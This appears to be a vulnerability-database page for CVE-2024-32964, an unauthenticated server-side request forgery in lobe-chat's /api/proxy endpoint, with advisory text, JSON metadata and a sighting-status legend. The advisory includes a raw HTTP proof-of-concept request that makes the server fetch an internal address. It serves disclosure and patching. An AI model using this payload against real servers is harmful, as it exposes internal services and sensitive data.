cve-2024-32964
Vulnerability from cvelistv5
Published
2024-05-10 14:49
Modified
2024-08-02 02:27
Severity ?
EPSS score ?
Summary
lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability
References
{
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}
gsd-2024-32964
Vulnerability from gsd
Modified
2024-04-23 05:02
Details
** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
Aliases
{
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"type": "vulnerability"
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"modified": "2024-04-23T05:02:10.555950Z",
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ghsa-mxhq-xw3g-rphc
Vulnerability from github
Published
2024-05-10 15:29
Modified
2024-05-14 20:03
Severity ?
Summary
lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability
Details
Summary
The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/settings/agent
- you can attack all internal services by /api/proxy and get the echo in http response :)
PoC
```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
http://172.23.0.1:8000/ ```
Impact
SSRF ,All users will be impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.150.5"
},
"package": {
"ecosystem": "npm",
"name": "@lobehub/chat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.150.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
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],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-10T15:29:51Z",
"nvd_published_at": "2024-05-14T15:37:18Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n\n\n\n\n\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.",
"id": "GHSA-mxhq-xw3g-rphc",
"modified": "2024-05-14T20:03:54Z",
"published": "2024-05-10T15:29:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32964"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobe-chat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
}
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- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.